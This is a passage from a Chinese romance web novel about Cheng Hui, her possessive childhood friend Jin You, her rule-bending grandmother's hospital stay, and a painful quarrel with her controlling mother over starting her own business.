“我那时候就想着,如果你能去……”靳佑收紧了双臂,仿佛是在弥补这些年在国外的遗憾,连声音都藏着委屈,“如果你能去看我,我一定会像现在这样抱着你,一定会缠着你,要你多陪我几天。”
可惜她没去,那时候的她一门心思都在纪修的身上。
甚至极少给他发消息!
猜到她可能有喜欢的人时,程徽还傻傻的问他是怎么知道的。
但他又怎么可能猜不出来?
那么明显,他要是还猜不出来,就怪了。
“我、我那时候还要上学,怎么可能去看你?”程徽这话说的全无底气。
大学生活没那么忙,要说时间,自然是能挤出来的。
只是她挤出来的时间,全用在了别的事情上。
“你假期为什么不去看我?”
“我还想问你呢,你假期为什么不回来!”
之前姐姐就说过他三年不回来十分奇怪,现在正好被程徽拿来当理由回怼他,“你放假不回来,还三年都不回来,凭什么要我去看你?”
靳佑哑然失声,呼之欲出的回答,到嘴边却又咽回去了。
最终,他还是忍不住说了句:“回不来。”
不是不想回,只是回不来。
程徽听的云里雾里,“怎么会回不来?”
又不是没钱,靳家这些年也没出什么事,他不至于回不来。
靳佑薄唇轻启,解释的话,又被他随
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着心底里泛起的苦一并咽下。答不上来的话,只能僵硬的岔开话题,“当年你劝我出国读书的时候,说过会去看我。”
十七八岁的年龄,她还不懂“不该插手别人的人生”这个道理,只是在靳父请她去劝说靳佑时,莽撞的答应了,甚至尽心的劝说靳佑出国读书。
说会去看他,也是她答应过的。
只是食言了。
提起这事终究是程徽理亏,没再接话,悄悄瞄了眼墙上的钟表,心虚的岔开话:“一分钟过去了。”
靳佑才不管这个,只知道机会难得,根本没有要松手的打算。又问她:“你这几年,有没有想过我?”
“没有。”程徽说的又急又快,怕迟一秒都显得不像是实话。
他下巴微抬,偏头时,薄唇擦过她的脖颈。
带着丝丝凉意的薄唇擦过脖颈,却莫名灼热,脊背传来酥酥麻麻的异样感,感觉直冲大脑。程徽身子一僵,莫名的咽了下口水。
两人靠得近,细微的声音也清晰可闻。靳佑听得清楚,几不可查的低笑了声。
“嘴硬。”
但没关系,只要他不嘴硬就好。
“我在国外的时候,很想你,想的快要疯了。”他说:“每天都在想,什么时候才能见到你。”
不是人人都能直接说出爱和思念的。
靳佑是个例外,但也仅仅是对程徽例外。
程徽做不到回应,只剩下沉默。
她看着屋顶的灯,依旧刺眼,即便是双目紧闭,却仍是能感觉到光影的存在,但闭上眼以后却更能清楚感觉到心脏的跳动。
心跳加快,两人离得近,一时间根本分不清是谁的心跳……
说好只抱十分钟,最后愣是抱了十几分钟。
程徽和程禧离开时,已经是晚上八点多了。程禧开着车,她坐在副驾驶,车窗开着,吹散了靳佑在她身上留下的淡淡清香,可脖颈处被他薄唇擦过的地方,却仍是灼热。
她一手撑着额头,望着窗外。程禧问她晚上想吃什么,她也兴致缺缺说了声随便。
猜到程徽是因为靳佑才会变成这样,程禧没追问两人之间的事情。
但另有一事,她反倒是要叮嘱程徽,“过两天我要出差,不知道要去几天,你到时候要是有事就找阿佑。”
自从程禧进入程家公司后,出差已经成了常态。
程父送她的房子,一年到头住不了两个月,程徽和程禧对此事也早已经习惯了。
此刻听程禧这么说,程徽回过头看她,犹豫几秒,问出了这些日子始终想问的:“姐,你希望我留在程家的公司工作吗?”
——如果姐姐希望她留下,她会愿意留下。
“不希望,除非是你自己想留在公司。”
正赶上红绿灯,程禧将车子停稳,冲着她笑笑,“你只管去做你想做的事情,或者不做事也可以,我可以养你一辈子。”
这话但凡换个人说,程徽都不会信。
可这话是程禧说的,她就信!
程徽乖乖的点头,望向她时,眼神中藏不住的笑与爱。
程禧见她这副模样,忍不住抬手在她脸上轻轻掐了下,笑的欣慰,“关于你创业的事情,可以不用那么着急,你今年才刚毕业,应该到处玩玩看看,了解一下这个世界。等过两年再创业,也不晚。”
这话前段时间程禧就说过,但程徽还是决定先试试。
“这件事我心里有数,先试试看,如果不行就到时候再说。”
她知道,程禧永远会是她的后盾。
所以,她也永远都有重新开始的机会,自然是不担心失败。
12. 拉黑
两天后,程禧出差去了外地。同一天,靳佑帮程徽签下租房协议,又找了几个人去把那几间工作室打扫干净。
轻而易举的办妥了这事,一心想着邀功,他甚至已经想好了要如何添油加醋的说这事办的多么艰难,幻想着能以此换得程徽对他的“投怀送抱”。
然而世事难料,看到微信上发过去的消息旁边标着一个红色感叹号,靳佑气笑了。
又不死心的打去电话,然而对方却始终是正在通话中。
被拉黑了。
所有的联系方式都被拉黑了。
利用完就扔?
靳佑看着电梯缓缓下行时显示的楼层数,气的笑出了声,周身的气压低的近乎令人窒息。一同乘坐电梯下楼的其他同事见状,大气都不敢喘。
直到电梯门打开,靳佑阔步走出,其他人才慢慢走出来。
一个个看着靳佑的背影都在低声议论:
“靳总这是怎么了?谁惹他了?”
“谁知道呢,说不准是跟女朋友吵架了。”
“靳总有女朋友?”
“应该有吧。之前我上大学的时候就听说过,靳家二少爷对程家二小姐宠的没边了,要什么给什么!也不知道靳总的女朋友是不是她。”
……
回到车上,正要开车去找人,手机却突然震动。
还以为是程徽打来的,靳佑登时眉眼舒展,但拿起手机看到上面的备注是“宋齐晏”时,神色肉眼可见的失望。
电话接通,宋齐晏熟悉的声音响起,“靳二少爷什么时候赏脸吃顿饭啊,咱们也挺久没见了,正好我这也刚下飞机,要不今儿晚上去聚聚?我请客!”
“叫上程徽一起!”
拒绝的话都到嘴边了,却被他最后一句话给堵回去了。
“好,你联系程徽,别说我去。”
“哇偶~”宋齐晏贱兮兮的笑着,“听起来情况不太妙呢?你不会是和程徽吵架了吧?”
靳佑不说话。
气氛微妙,宋齐晏察觉情况不对,又忙打圆场:“没事没事,能吵架还是好的,总好过吵不起来。”
事实是这次根本就没吵起来。
靳佑的脸色更难看了,冷声道:“晚上把她叫上。”
说完直接挂断电话。
机场内,宋齐晏看着手机上的通话记录,只觉得头大。
若说当初是靳佑找人盯着程徽的,宋齐晏就是那个去警告纪修离程徽远点的人。
这二人在程徽那,半斤八两,他打电话过去,能不被骂就谢天谢地了。
但话都已经说出去了,宋齐晏也只好给程徽打去电话。然而电话响了几声,却被挂断了。
宋齐晏看看手机,小声嘀咕:“还没消气儿呢?”
当初知道是他替靳佑去警告纪修,程徽就再也不与他多说一句话,这事都过去半年了,看样子是还没消气。
“真是活祖宗。”宋齐晏小声吐槽一句。
*
晚上下班,靳佑赴约。
被侍应生带着去了包间,推开门,只见宋齐晏已经翘着二郎腿坐在沙发上,手机在掌心中翻转。明明是见朋友的好事,此刻眉宇间却带着一丝愁。
看到靳佑来了,顿时眉开眼笑的起身走去,一脸的讨好。
“靳二少爷,好久不见。”
宋齐晏转头冲着侍应生说:“上菜。”
靳佑狐疑的打量着他,直奔主题:“程徽不来?”
这小子,怎么这么快就猜到程徽不来了?
简直是火眼金睛!
宋齐晏见侍应生出去,才云淡风轻的说:“我给她打电话,她不接,应该还是在为纪修那件事生气呢。你说这事都过去多久了,她怎么还生气呢?”
“我看全都是你给惯的,现在活脱就一祖宗!”
说话间与靳佑一同去沙发上坐下。
见靳佑脸色不对,宋齐晏又起身去给他倒了杯茶水,“刚泡上的龙井,还是我特意从我老爹那拿来的,让这边的工作人员给泡的。你尝尝。”
送到靳佑面前时,他迟了一刹,才抬手接下。
却一口没喝,放在了身旁的桌上。
包间内陷入冗长的寂静,角角落落都弥漫着一股淡淡的危险。
宋齐晏心都悬起来了。
以前上学时候只要是和程徽牵连的事情,他情绪波动都格外的大。和程徽无关的事,他永远都是一副事不关己的状态。
今天大事不妙啊!
此刻看着靳佑的神色,宋齐晏默默地吞了下口水。
“她兴许是有事呢,等明天说不准就会主动联系你了。”
见靳佑脸色没好转,宋齐晏只好岔开话:“对了,你这三年怎么不回来?好歹假期的时候应该回来吧,怎么连假期也不回来?”
“有事。”
惜字如金,多一个字都不愿意说。
靳佑盯着掌心中的手机,依旧不曾收到程徽发来的消息,她也没有给他回个电话。
都已经被拉黑了,能收到才怪。
宋齐晏不敢多说话,但看着靳佑这幅样子,却又忍不住多嘴:“要我说,你和程徽之间也认识这么多年了,真要是有可能,早就在一起了。现在程徽对咱们两个都没个好脸色,你就别再强求了。”
“强扭的瓜不甜,你不如换个人喜欢。”
“甜不甜,我自己知道。”
就算不甜,这强扭的瓜,他也吃定了!
对面的宋齐晏抬手拍了下嘴。
明知道靳佑这人就是认准了程徽,他又何必多嘴劝说呢?
……
没有程徽在,一顿饭吃的没滋没味。
靳佑频频打开手机查看,甚至又给程徽发了几条消息,但消息旁边醒目的红色感叹号却更让他生气。
从饭店出来,外面冷风迎面吹来,也将靳佑心底里的那点怒火吹得更旺。
他伸出手,“手机给我。”
宋齐晏将手机解锁后递给他,“程徽不接我电话,你用我的手机给她打电话也没用。”
就在靳佑接下手机的瞬间,他自己的手机却响了,是靳家管家的号码。
没多想,靳佑直接接通。
然而电话那头却传来了靳承的声音:“是我。”
一听见声音,靳佑就下意识要挂断电话。
靳承像是料到他会挂电话,急忙说:“小徽在句海市,老夫人住院了,今天刚住院,程家现在除了保姆,就只有小徽守在那边。”
程父程母都在国外,程禧又去了外地出差,自然也就只能是程徽过去守着。
靳佑黑着脸,将宋齐晏的手机还他,阔步往停车场走去,“哪家医院?”
*
深夜,康原医院。
私人医院中,病房都是套间,陪护的也留有床位。程徽躺在陪护床上,翻来覆去的睡不着,手机打开又关上,简短的回了程禧几句,让她不用担心。
可也只有她自己知道,打开与靳佑的聊天栏次数,远比打开程禧聊天栏次数还要多。
但她还是没有将靳佑从黑名单里拉出来。
手机摁灭,看着天花板,简直比喝了两杯咖啡还要精神。
悄悄看了眼孙奶奶身边的各种仪器,小夜灯昏暗的灯光下,依稀能看见她睡得正香,程徽蹑手蹑脚的起身,做贼似的往门口走。
手刚搭上门把手,屋内突然响起一道声音——
“带点烤串回来。”
“……”
程徽额角一黑,无语的看着病床上的老人,“奶奶,您现在还住院呢,不能吃那些东西。”
“再带点啤酒。”
程徽彻底服气了。
没见过谁家老太太跟她似的。
大半夜的竟然要吃烧烤、喝啤酒!
“不行,您是心脏方面的问题住院的,医生特意叮嘱您不能喝酒。”
程徽话音刚落,孙奶奶就接上一句:“啤酒不算酒,顶多算水。”
慢慢从床上坐起身,程徽也将屋内的灯打开。
孙奶奶一脸委屈的说:“乖孙女,这医院的饭菜太难吃了,奶奶都饿了,去给买点东西来。”
“……我爸要是知道您住院还吃这些,还是我给买回来的,到时候一准要打断我的腿。”
“没事,到时候奶出钱
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给你装个假肢。”
程徽无语。
谁家亲奶奶能说出来这种话啊!
“您可真是我亲奶奶。”
“那是!”孙奶奶一脸的骄傲,“快去买点,奶奶晚上都没吃饱。”
可不就是没吃饱吗?
就吃那么两口,非说清淡的饭菜没味道。
整天吃重口味的东西,再吃清淡的,自然是显得没味道。
程徽没别的法子,只能掏出手机,作势要给程父打电话。
“要是爸准许奶奶吃,我就去买。”
“他还能管得了我?我是他妈,他得听我的!”
话虽如此,但见程徽真要打电话,孙奶奶又故作不耐烦:“行了行了,你要是不去,就赶快回岳海去,别在这陪着我了!”
“我走了,您好让林阿姨给您买,是不是?”
被程徽无情拆穿,孙奶奶心虚不已。
程徽又道:“当初您说您要搬来句海市,说是这边环境好,适合养老。谁知道您是搬来这边为了方便吃东西的,还整天吃烧烤、火锅、烤肉那些。林阿姨还给您做奶茶喝,家里饮料和酒,多的都快赶上商场。”
“要不是您这次住院,我们都不知道您来这边过得这么潇洒!”
也亏得这次知道了,要不然还不一定会出什么事呢。
“行了,别说了!我还是个长辈呢,好歹给我留点面子!”
孙奶奶气的翻身又躺下,“关灯睡觉!”
妥妥的就一老顽童。
程徽笑笑,“您先睡吧,我出去一趟,等会儿就回来。”
灯关上,提脚走出去,顺手关门。
长廊上静悄悄的,护士听见动静,探头看过来。见程徽出来,还以为是有事,提脚就要往这边走。
程徽冲她摆手,又轻轻的说了声:“没事。”
护士止步,见程徽往电梯口走去,想了想还是又跟上去,“孙奶奶明天有个检查,今天晚上不能再吃东西了。这几天住院,更不能喝酒。”
“前几天那个林阿姨来照顾她,大半夜的还给她带酒来,您可不能再给她买酒了。”
就是因为林阿姨管不住孙奶奶,医院才想办法给程父打去电话,程父这才让程徽赶过来照顾。
“您放心吧,我一定听医生的,不可能会给她带酒的。”程徽再三保证,护士才放心回到护士台。
因为是私人医院的缘故,一楼也格外的安静,只有几个医护人员在值班。程徽从医院出来,原想吃点东西,但四周的店全是西餐、日式料理、法式料理、咖啡与甜点之类的店。
尽管有开着门的,但程徽却没有想进去的冲动。
心烦意乱,索性坐在一旁的长椅上,仰头看着天。
又一次陷入了沉思——
她怎么会又梦见了靳佑了呢?
尽管这次不再是春梦,可单单是梦见靳佑这件事,对她来说冲击性就已经足够大了。
于是,梦醒之后的第一件事就是先拉黑靳佑的所有联系方式。
只想以后都离他远远的。
……
从靳承口中问出是哪家医院后,连夜开车赶过来,才刚驶近,靳佑就看见了那抹熟悉身影。
漫天星空下,程徽一个人坐在长椅上,放眼望去四周几乎没有其他人在。
只有她一人,才更是显得无助。
车子停好,靳佑打开车门下车,关门声引来程徽的注意,偏头看了过来。
看见靳佑的一刹那,身子慢慢坐直,脸上尽是不可置信。
他怎么找到这了?!
路灯下,熟悉的身影步步逼近,气势迫人,当年那个懵懂少年,如今穿着量体裁剪的西装,身材被衬的恰到好处,整个人都显得愈发成熟。
清晰的轮廓,立体的五官,单单就这张脸而言,确实是带着几分凌厉。
可望向她时却是一脸的心疼、担忧。
“你怎么找到这了?”
静谧的街道上,程徽听见自己声音里暗藏的惊喜,还有再次躁动的心跳。
不易察觉的细微声音,此刻却震耳欲聋。
但也只有她能听见。
13. 孙女婿
“有人告诉我你在这。”
靳佑站在她面前,伸出手,轻轻拨开她被风吹到脸颊上的发丝。
指尖触碰到她脸颊的瞬间,痒痒的。
她垂下眼看去,目光落在他的手上,久久不曾移开。
似是还没能从靳佑赶来的震惊中缓过来。
两人之间离得太近,她的一举一动都被靳佑尽收眼底,抬起的手没收回,只是僵硬的在她脸颊边上悬空着,她也不曾躲。
秋风吹来,程徽才清醒过来,意识到两人靠得太近,脚下才刚要后退半步拉开距离,却不料靳佑抢先一步——
悬在空中的手突然掐着她的脸颊,又上前半步,锃亮的鞋尖抵着她的小羊皮鞋尖,长臂顺势伸到她身后,将人摁在怀里。
动作太快,程徽甚至都没反应过来。
“嘶——疼!”
程徽抬手猛拍了几下他的手背,“混蛋!松手!”
“混蛋?”靳佑没松手,反而加大力道:“我看某人比我还混,我刚租好房子,没良心的就把我拉黑了!拿我当什么了,说!”
程徽无话可说。
总不能说因为最近接连梦见他两次,觉得势头不对,所以就把人给拉黑了吧?
这要是说出来,他还不得高兴疯了!
“拿你当个工具,利用你,总行了吧?满意了?”程徽一把将他的手推开,掌心揉了揉脸。
靳佑却轻轻摩挲着指腹,看着程徽的脸颊,还想再来一下。
难怪程禧总喜欢掐她的脸,手感确实好。
如此想,靳佑更是如此做的,抬起手就要再次动手——
这下程徽看着伸过来的手,抢先一步挡下,“还来?没完了你!”
“把我从黑名单里拉回来,这事我不跟你计较。”靳佑说着就放下手,直接往她口袋里伸去。
拿到手机的瞬间,程徽也高举着手,试图将手机抢回来。
明明前一秒还一副爱情连续剧的情景,后一秒就又开始大吵大闹,甚至开始动手。程徽心想:有这么一个混蛋的竹马,也算是上辈子造孽!
试了几次都没能将手机抢回来,程徽口头命令:“手机给我。”
可靳佑却一手揽着她的腰肢,一手快速输入密码,轻而易举的打开了手机,将自己的微信和手机号都从黑名单里拉了出来。
甚至还不要脸的将自己的微信置顶了。
“微信置顶不准取消。”这话程徽肯听才怪了,但靳佑有的是法子,“算我欠你件事,下次你去找我帮忙,我就不拿好处了。”
听起来好像还不错。
程徽犹豫两秒,见靳佑将手机慢慢放下,一把夺过来,“你到时候不会出尔反尔吧?”
“不会。”
不就是讨点好处吗?他有的是办法。
例如……此刻。
靳佑更是没脸没皮道:“我微信置顶就只有你一个,你这加上我都置顶两个人了。这事我吃点亏,不强求你只置顶我一个人。”
另一个被置顶的,自然是程禧。
她连手机的开机密码都是程禧的生日。
从多年前开始就是,这么多年都没改过。
知道争不过程禧,靳佑只能退而求其次。
“你还吃亏?这分明是我吃亏。”
程徽将手机收起,直至此时才反应过来,这人竟然又在占她便宜。
目光一冷,命令:“松手。”
靳佑识趣的松开手,深邃目光定定地落在她脸上。直到程徽抬眼看他时,才刚迎上他的目光,便心虚的先避开。
他弯下腰与她平视,目光却极具侵略性,“你打算什么时候给我个名分?”
说话时紧盯着她的唇瓣。
“我不想见面的时候就仅仅是拥抱而已。”
意料之外的询问,听的程徽心下一颤,鬼使神差的像是明白了靳佑的意思。
可拥抱之外的事情,似乎就已经超出了朋友的界限。
牵手、接吻,还有别的事,都不是朋友关系能做的。
“我没想过给你什么名分,也没想过我们之间能更进一步。”程徽往医院走去,“我又不喜欢你。”
靳佑自觉忽略她最后那句话,提脚跟上去,狗皮膏药似的黏着,“那就现在考虑,我耐心不多了。等回到岳海市,给我个名分。”
“我要是不给呢?”
“那我只能用自己的办法抢了。”
垂下的手强硬的牵住她的手,程徽试图挣脱,却被他握得更紧。
路灯下他眼神中都透着得意,像是在说:我有的是办法能抢过来一个名分!
土匪竹马,做起事来简直肆无忌惮!
程徽算是彻底领略到了他的厉害。
*
当天夜里,靳佑也在医院和程徽一起守着,等天亮以后,林阿姨带着早餐赶来,只见程徽正躺在沙发上睡觉,身上还盖着靳佑的西装外套。彼时,靳佑正在门口与医护人员在沟通。
屋内孙奶奶见林阿姨来,简直像是看见了救星,赶忙冲着她招手,小声说:“你去跟医生说,我身体好着呢,让我出院吧。在这医院里面又不能吃、又不能喝的,可憋死我了。”
话音刚落,正睡在沙发上的程徽忽地睡眼朦胧的坐起身,回过头看向病床上的孙奶奶。
只一个眼神,孙奶奶就心虚不已。
没等程徽问,她就此地无银三百两,“我什么都没说。”
没说就怪了!
程徽站起身去查看林阿姨带来的饭菜,好在林阿姨现在还算知道事情轻重,带来的都是清淡的饭菜。
“晚点才能吃,奶奶要先检查身体。”
“好。”
孙奶奶的目光在两人身上打量,随着病房门被打开,靳佑走了进来。她登时两眼放光,“孙女婿,你跟那医生说说,让我出院吧,我这没什么事。”
一声孙女婿喊得程徽都傻眼了。
靳佑却是喜笑颜开。
没等程徽纠正孙奶奶这离谱的称呼,靳佑就抢先开口:“我刚跟医生说了,先做几项检查,要是没什么事,这两天就让您出院。”
程徽扭头,动作缓慢简直像是生了锈的机器人,眼神中全是不可置信。
他倒是胆子大,竟然敢在这种事情上做主!
“我就知道我这孙女婿最好了,不就是做几项检查嘛,这就查!查完就回家!”孙奶奶一口一个孙女婿,喊得靳佑更是高兴。
“查了以后,要等检查结果出来,到时候医生看了没什么事,奶奶就能出院了。”靳佑又特意叮嘱:“不过医生也说了,检查结果出来之前,您不能喝酒,不能乱吃东西。”
孙奶奶连连点头:“行行行,不喝不喝。”
*
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被靳佑几句话说的,孙奶奶也配合着做检查,甚至当真没再提过喝酒和出院的事情,似乎已经笃定这两天就能出院了。等检查结束以后,更是催促程徽带着靳佑去附近的酒店住下。
昨天夜里程徽在病房内睡了一夜,靳佑却守了一夜。
即便孙奶奶不说,程徽自然也是要带着他去附近的酒店。
从医院出来,靳佑开着车带程徽去附近吃饭,路上特意解释:“我问了医生,奶奶情况不是太严重,先做几项检查,看看结果怎么样。如果需要继续住院,到时候就再安排其他的检查,就这么拖几天,也就能出院了。”
“有些结果需要三天才能出来,依我看,让奶奶住个七八天时间应该不成问题。”
这不妥妥的哄骗吗?
关键是竟然还真哄住了奶奶!
程徽不得不佩服,“靳二少爷好本事。”
把老人家哄的一愣一愣的。
“多谢夸赞。”
大抵是因为康原医院是私人医院,且收费又高,来的多是有钱人,附近的饭店也多是西餐、日料、法餐之类的饭店。人少,店也不多,两人挑了家环境干净的地方吃饭。
吃饭期间,靳佑接连接了两个公司领导层打来的电话。程徽也隐隐猜到公司有事要忙,几次劝说他先回去,却都被靳佑以“公司都是些小事情”拒绝了。
拗不过他,只好由着他留下来。
饭后两人去附近的五星级酒店住下,才刚进屋内,靳佑的手机就响了。
见是靳父打来的,靳佑提脚往阳台走去,程徽也识趣的往其中一间卧室走去。
推拉门敞开着,靳佑倚靠在阳台的栏杆上,慢悠悠的接通电话,“靳总有什么事吗?”
“你去了句海市?”
“嗯。”
“我把云瑾公司交给你,是让你打理公司的,你跑去句海市,公司怎么办?我警告你,你尽快赶回来,别整天为个女人就不顾一切,你要以工作为重。”
靳佑忽地不说话了,目光落在程徽进的那间卧室。
房门紧闭,他说话,她大抵是听不见。
但他还是谨慎的把推拉门关上。
“云瑾公司现在运营正常,没有任何问题,如果公司离了我就运营不下去,靳总应该会觉得担心吧。毕竟这个不听话的儿子,能做到这种地步的话,可是要出大事的。”
顿了下,靳佑忽地话锋一转:“不过,您要是想让我早点回去也可以,我有个主意……”
他低笑着小声说:“只要把靳承赶出去,我今天连夜回去。”
结果可想而知,电话那头的靳父气的怒吼:“那是你哥!他留在靳家有什么不好的?你为什么非要把他赶出去?”
可他越是生气,靳佑嘴角的笑容就越是肆意。
当初那个选择跟着靳太太离开的孩子,是父母心里的一块宝,哪怕如今靳承已经不是靳家名义上的孩子了,可靳父依旧偏爱他。
靳佑眼底翻涌起阵阵苦涩,可说出来的话却依旧是肆无忌惮,“当然不好,他会跟我抢财产。靳家那么多的财产落在我一个人手里,总比分一半给他要好。”
嚣张至极的话被他吊儿郎当的说出来,像是觉得不够,他又低声威胁:“我给您一周时间,把人赶出去。您要是没能把人赶走,就别怪我回去以后,说出点不该说的。”
14. 影子
即便后来程徽又劝了靳佑几次,让他先回岳海,可靳佑依旧选择留在句海市。二人每日都去医院看望孙奶奶,在靳佑的各种套路下,奶奶还是又在医院呆了七八天。
好在检查结果不算坏,心脏方面是有问题,但只需要吃药就能暂时控制住。
出院那天,医生还特意叮嘱:“心脏病不能喝酒,回去以后可千万不能喝酒。”
孙奶奶答应的倒是爽快,但这种事谁又能管得了她?
从医院出来,上了车,报了个地址。靳佑开车,程徽和奶奶坐在后排。
程徽还在喋喋不休的叮嘱她:“奶奶,您回去以后可千万不能喝酒,这可是医生叮嘱的,您不能不听。您要是不听,我就只能让姐姐来了。”
“您也别想着偷偷喝,您那房子里现在已经装上摄像头了。”
竟然敢装摄像头,回去就给拆了!
孙奶奶心下腹诽,面上却笑呵呵的点头:“行,不喝,以后都不喝了。”
可程徽也不是好糊弄的,“您要是把摄像头拆了,姐姐一定二十四小时之内就赶到。”
“……”小丫头还挺机灵!
孙奶奶敷衍的应话:“好好好,不拆不拆。”
“一把年纪了,还要被小的管着,唉!”
“徽徽也是为您好。”正在开车的靳佑也帮着说话。
不开口还好,他突然帮腔,孙奶奶反倒问起了另一件事:“你们两个算是男女朋友?”
靳佑看了眼后视镜里面的程徽,等她回答。
程徽却是回答的干脆利落:“不是,我们不考虑恋爱的事情。您就别操心我们这事了,您能照顾好自己的身体就行。”
车厢内静了。
程徽余光瞄了眼奶奶,奶奶的一双火眼金睛却在两人身上打量,靳佑倒是不开口,可却肉眼可见的不满。
这俩人,不对劲!
奶奶狐疑的打量着程徽,神秘兮兮的凑近,猝不及防的问了句:“你不会是喜欢女孩吧?”
“啊?!”程徽震惊。
奶奶又问靳佑:“还是说小佑喜欢男孩子?”
程徽简直哭笑不得。
老人家还是一如既往的跟得上潮流!
“奶奶,我们之间的事情您就别打听了,也不是您想的那样。”程徽又特意叮嘱:“还有啊,您少上点网,整天也不知道都看的什么。”
她从小就知道她奶奶和别人家的奶奶不一样。
现在看来,她小时候的感觉一点都没错。
然而下一秒,孙奶奶更是语不惊人死不休,“你们两个年纪轻轻的,也不谈恋爱,也不找炮友,那你们这——唔!”
听见炮友二字的时候,程徽已经伸出手,却还是迟了一步才捂住她的嘴。
救命!奶奶怎么比他们还前卫?!
放眼全国恐怕也找不出第二个这样的奶奶了。
程徽欲哭无泪,耳根都红了个彻底,只能皮笑肉不笑的低声提醒:“奶奶,您能不能别乱说话了?”
“我也没说什么,我只是说了几句实话。怎么,你们现在连这个都听不得了?”
孙奶奶余光看了看靳佑,转而看向程徽时,略有些惋惜道:“还以为你们这些年轻人比你爸爸他们那一代开放呢,怎么好像你们比我还保守?”
孙奶奶年轻的时候经常出国,后来又白手起家,一手创立了如今程家的天韵化妆品公司。
约莫是在十年前,才彻底把公司交给程父。而在此之前,公司一直在孙奶奶手里,那时候她常年出差,去国外更是家常便饭,思想方面和那些豪门贵妇也就大不一样。
到如今也依旧思想开放。
“我们这思想,是跟您没法比。”
论想法开放,程徽都甘拜下风,“不过奶奶您以后别当着外人的面乱说话,这种话我们听听就算了,要是别人听了,肯定是要被吓着了。”
毕竟炮友二字从一位七十多岁的老人家口中说出来,是极为罕见的。
“行,我知道了。”
孙奶奶被迫妥协,又叹气道:“你们这些年轻人,真是比我还古板。”
目光在两人侧脸上徘徊,不死心的又说一句:“该享受的时候就享受,别活的跟你爸妈一个样,没意思。”
享受二字此时说出来,倒像是意有所指。
程徽只觉耳朵都在冒火,一张脸都格外的烫。
靳佑却是一脸的气定神闲,简直像是没听见奶奶说了什么,只是握着方向盘的手却在一点点用力。
回到孙奶奶在句海市买的别墅,林阿姨已经在门口等着了。等车子停稳,忙上前去扶着孙奶奶。靳佑和程徽拿着东西,跟在后面。
屋内,桌上已经摆好了饭菜。
林阿姨解释说:“算时间你们也该回来了,我就把饭菜盛出来了,这才刚盛出来,还热着呢。”
几人缓缓落座,尽管依旧是清淡的饭菜,但许是回到家的原因,孙奶奶胃口也好了不少。
程徽见她吃的好才真的放心,“奶奶,您既然已经出院了,我们也该回去了。靳佑还要去打理公司的事情,我也有点事情要忙。”
工作室都已经租好了,之前联系到的几位设计师也需要近期来面试,程徽自然也不敢在句海市久留。
况且靳佑也需要回去打理公司的事情了。
见孙奶奶点头,靳佑说:“今天正好是周六,明天下午再走,四五个小时的路程,不会耽误周一上班。”
程徽想了两秒后说:“好。”
*
午饭过后,几个人各自回屋,程徽才刚坐在沙发上,放在一旁的手机忽地震动起来。
上面赫然备注着:母后。
没多想,直接接通了电话,程母的声音传了过来:“你奶奶出院了?”
“嗯。医生说没什么事,先吃药控制,以后勤检查就行。”程徽打着哈欠,饭后的晕碳反应,只觉得眼皮都重了几倍。
然而紧接着程母的话,却让程徽彻底清醒——
“你奶奶没什么事就好。”
顿了下,程母口气突然严肃:“那我们就说说你的事情。”
口气猝然转变,即便两人只是在打电话,可程徽也已经能想象到母亲此刻的表情。
不仅仅是严肃,大抵还有生气。
像极了暴风雨来之前的征兆。
“什么事?”程徽怯怯地问。
“你以为你让靳佑帮你租房子,我就不会知道你想要偷偷去租工作室创业?”
她竟然知道了!
程徽心头一紧,不安
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的情绪涌上来。
顷刻间困意全无,但事已至此,她也只能硬着头皮说:“是,我是请靳佑帮忙租房子,我是想自己出去创业。但这是我的事情,钱也不用你们出,为什么就是不行呢?”
程母慢条斯理道:“我跟你说是为什么。因为你现在花的每一分钱都是程家的,你那些钱是你姐姐辛辛苦苦打理公司赚来的,是你爸爸在外面和别人谈合作赚来的。”
“你说不用我们出钱,那你花的钱是哪来的?”
“至于你创业这件事情,说白了,你只是想做个小生意,甚至不能称之为创业。你那小生意以后也帮不了程家,也赚不了大钱,既然这样,你为什么不留在公司帮着你姐姐和你爸爸呢?难道出去做个小生意就这么好?”
她把程徽想做的事情贬的一文不值。
更是要让程徽怀着愧疚去花每一分钱。
每一句话都像是一把刀,没有一点点犹豫的刺入了程徽的心里。
程徽难过之余,却也觉得可笑。
按照这种归根结底的逻辑,她似乎也不用出生了。
“按照您这种逻辑,我是不是应该把所有的钱都给你们,再把房产也给你们,然后我自己出去挣钱,存到钱以后才能去做个小生意。您是想让我过这种生活,是吗?”
程徽极力的压抑着怒火,声音也在克制着,不愿让这别墅内的其他人听见。
下一秒,她又自己推翻了自己的话:“不对,按照您这种逻辑,我现在的这幅肉身是您和爸爸给我的,我是不是也要还给你们?我没有银行卡里那些钱的使用权,同理,我也没有这幅肉身的使用权,是吗?”
“程徽。”程母冷声喊了她的全名,“你能不能不闹了?能不能懂事点!”
懂事……
她从小就懂事。
她想学架子鼓,母亲让她学钢琴。
那时候母亲就说让她懂事点,让她听话。
于是她学了钢琴。
她讨厌跳舞,母亲却逼着她去学芭蕾。
于是母亲又说出了一样的话,让她懂事点。
她又一次妥协。
她不想学画画,想去学木雕,母亲说哪有女孩子学木雕的,最后逼着她去学画画。
毫无意外,她又一次听话了。
……
幼时的记忆如洪水般袭来,程徽搭在膝盖上的指尖一点点蜷起,攥成了拳头。胸口处憋着的那股火,似乎是要从胸膛中钻出来。
只觉得,她快要气炸了。
“您除了让我懂事点、让我听话,还会跟我说什么?”程徽气的声音都抑制不住的在发颤,“我真的不明白,您为什么要生我?就因为程家缺个傀儡?”
“我……我到底要怎么样、到底怎么样才能让你们别再控制我?”
指尖抑制不住的发颤,她浑身都在发抖。
程徽喉间发堵,眼底的泪花闪烁,却强逼着自己保持镇静:“您想要把我培养成第二个程禧,不可能。我做不到像她一样优秀,我也不可能成为她的影子。”
“还有——”
她闭上眼,那句憋在心里多年的话,终究是被她说了出来:“您人生中的遗憾,别试图在我的人生中弥补。”
“这是我的人生,不是你的人生!”
15. 偶遇与相随
伤人的话,一旦说出口就收不回来了。
程徽满心懊恼,可为时已晚,话已经说出去了。
她心烦意乱,独自一人出门闲逛。
等夕阳落山,破天荒的主动给靳佑发消息,说有点事,让他们不用等她回去吃晚饭了。
即便后来靳佑又追问她出了什么事,程徽也没回消息。
眼见天色渐晚,她却不知道能去哪。
如行尸走肉般的进了一家商场,目光落在不远处的珠宝首饰店,脚也已经缓缓走去。
或许给她买件首饰,她就能消消气了?程徽心想。
可正要进去,又突然停在门口。
不行,母亲生日的那套首饰还没送出去呢,而且这次母亲生日,连靳佑送的都是首饰。再买首饰道歉,未免也太没创意了吧?
程徽回过身,目光扫过其他店。
